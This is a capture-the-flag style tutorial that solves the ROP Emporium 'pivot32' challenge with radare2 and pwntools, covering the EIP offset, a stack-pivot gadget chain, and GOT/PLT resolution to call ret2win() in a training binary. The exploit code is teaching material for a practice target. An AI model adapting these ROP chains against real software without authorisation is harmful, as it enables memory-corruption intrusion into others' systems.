ROP It Like It's Hot: ROP Basics - Stack Pivoting

reverse-engineering exploitation binary r2 radare2 rop

Let’s check out Return Oriented Programming (ROP) with the pivot32 challenge from ROP Emporium by using radare2. The pivot32 binary is compiled without stack canaries and PIE but has NX enabled.

Basics

The general principle behind ROP is that:

[…] an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences that are already present in the machine’s memory, called “gadgets”.[2] Each gadget typically ends in a return instruction and is located in a subroutine within the existing program and/or shared library code. Chained together, these gadgets allow an attacker to perform arbitrary operations on a machine employing defenses that thwart simpler attacks.

Cool, thanks Wikipedia.

The reason why ROP is required for this challenge is that the available space for the payload is quite small and not sufficient in order to get the flag. Because of this, it’s required to pivot the stack to another location that contains a second stage payload that gets the flag. To accomplish this, the ESP (Stack Pointer) register will be modified the by first stage payload. The new base pointer will then point to an attacker-controlled fake stack that contains the second stage. This new stack is also set up during the exploitation process. The fake stack consists of another ROP chain, just like the first stage.

During exploitation the ROP gadgets will be executed one after another since they are terminated by a ret instruction. A ret causes the program flow to return to the address that’s currently on the top of the stack. For gadget n this will then be gadget n+1 – the ROP chain is getting executed successfully.

The way the exploitation of pivot32 takes place is that it re-uses the gadgets of the binary itself in order to call a function named ret2win() of the enclosed shared object libpivot32.so. This function simply performs a cat on the file flag.txt by invoking system(). Unfortunately, this function isn’t imported by pivot32, so it’s first required to acquire the address of a known symbol that’s being imported by the target binary. The symbol foothold_function() serves exactly for this purpose. By getting the address of this function it’s then possible to compute the address of ret2win() using a static offset and call it.

Luckily pivot32 already helps in the exploitation process: It prints the address that has to be pivoted to:

The Old Gods kindly bestow upon you a place to pivot: 0xf7d2ef10

Of course this address changes upon each invocation, so exploitation has to take place dynamically - for example using pwntools. By combining pwntools with my pwntools-r2 module the exploit can be debugged with radare2 on runtime.

Two inputs are requested using fgets() by the target process:

pivot by ROP Emporium
32bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0xf7d7bf10
Send your second chain now and it will land there
> ABC
Now kindly send your stack smash
> DEF

Exiting

The first console input to pivot32 is being written exactly to the pivot location. This the input that will contain the second stage payload that will be executed after pivoting. The second input therefore has to contain the first stage payload containing the EIP overwrite and a mini ROP chain that pivots to the desired stack address.

Exploitation

EIP Control

Using the output of ragg2 -r -P 300, a De Bruijn pattern, it has been determined that EIP gets overwritten after 44 bytes:

[...]
Now kindly send your stack smash
> AAABAACAADAAEAAFAAGAAH[...]
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41415041 code=1 ret=0
[0x41415041]> wopO `dr eip`
44

Setting Up The Stack Pivot

The address to pivot to is already known. Therefore it’s required to set ESP to this specific value. ROP gadgets that are useful for stack pivoting can be listed using ropper:

ropper --file pivot32 --stack-pivot
[...]
Gadgets
=======

0x0804889b: add esp, 0x10; nop; leave; ret;
0x08048925: add esp, 0xc; pop ebx; pop esi; pop edi; pop ebp; ret;
0x0804856e: add esp, 8; pop ebx; ret;
0x0804856a: ret 0;
0x080486be: ret 0xeac1;
0x08048a4c: ret 0xfffd;
0x080488c2: xchg eax, esp; ret;

It seems that the easiest way to set the stack pointer to a specific value is by using the xchg gadget. It exchanges the EAX and ESP register values. The plan is therefore:

  1. Populate EAX with the printed pivot address - e.g. using a pop eax
  2. Use the xchg gadget to pivot to this exact address.

The pop eax gadget has been found with radare2 using /R pop eax, but using pwntools to search for it dynamically using the binary is also a way to do it:

elf = ELF("./pivot32")
elfROP = ROP(elf)
POP_EAX = p32(elfROP.find_gadget(["pop eax", "ret"])[0])

With all this information gathered, the stack pivoting first stage payload looks like this:

POP_EAX = p32(elfROP.find_gadget(["pop eax", "ret"])[0])
DO_PIVOT = p32(0x080488c2)  # xchg eax esp

STAGE1 = "A" * 44
STAGE1 += POP_EAX  # Load following pivot_addr in EAX
STAGE1 += pivot_addr
STAGE1 += DO_PIVOT  # Exchange EAX and ESP

Calling ret2win

GOT and PLT

For this step you have to know what the GOT and PLT are. You can watch this or you read this or you don’t and just read my brief and simplified explanation:

Upon calling the dynamically linked function foothold_function() from libpivot32.so for the first time, e.g. at process launch, the address of this function has to be determined first. To avoid doing this every time, the result of the resolution will be saved in the GOT (Global Offset Table) after the first call. Upon calling the function a second time, the existing GOT entry will be used. The address of the GOT entry for a specific function can be determined using radare2 using ?v reloc.foothold_function.

Initially the GOT will point to an entry in the PLT (Procedure Linkage Table). This entry in turn calls the dynamic linker that does the actual address resolution. The address of the PLT entry for a specific function can be read using radare2 with ?v sym.imp.foothold_function.

Or you use pwntools:

elf = ELF("./pivot32")
FOOTHOLD_PLT = p32(elf.plt["foothold_function"])
FOOTHOLD_GOT = p32(elf.got["foothold_function"])

As long as the binary is not compiled with PIE, the aspects described in this section above are valid.

Please note that before being able to get the address of foothold_function(), it has to be called first at least once. This populates the entry in the GOT which can then be used by the ROP chain.

Second Stage Payload

The first thing the second stage payload has to perform is to call foothold_function() once. After that, it can read the GOT entry of this function and determine its real address. To calculate the address of ret2win() it’s then required to know the offset between these two functions in the shared library. The easiest way to do this is to calculate this using pwntools:

FOOTHOLD_WIN_DISTANCE = p32(lib.symbols["ret2win"] -
                            lib.symbols["foothold_function"])

This offset has then to be added to the determined address of foothold_function() to get the address of ret2win(). Calling the resulting address prints the flag. The ROP chain therefore looks like this:

STAGE2 = ""
STAGE2 += FOOTHOLD_PLT  # Cause foothold resolution -> Populates GOT
STAGE2 += POP_EAX  # Load the following address into eax
STAGE2 += FOOTHOLD_GOT
STAGE2 += MOV_EAX_EAX  # Dereference EAX (mov EAX, [EAX])
STAGE2 += POP_EBX  # Load the calculated offset into EBX
STAGE2 += FOOTHOLD_WIN_DISTANCE
STAGE2 += ADD_EAX_EBX  # Add the offset to EAX
STAGE2 += CALL_EAX  # Call @ the calculated ret2win address

All gadgets have been determined using the /R ROP gadget search function of radare2. The MOV EAX, [EAX] instruction causes the content of the GOT entry of foothold_function() to be read and stored into EAX. On runtime this contains the real address of this function since its dynamic resolution has already taken place.

Let’s see it in action, starting with the execution of the first stage ROP payload. Be sure to watch the stack and the registers change:

That's It!

37C3 CTF: ezrop

ctf reversing exploitation rop radare2 r2

BinaryGolf 2023: Building A GameBoy-Bash Polyglot

binary ctf

ShhPlunk: Muting the Splunk Forwarder

reverse-engineering c++ linux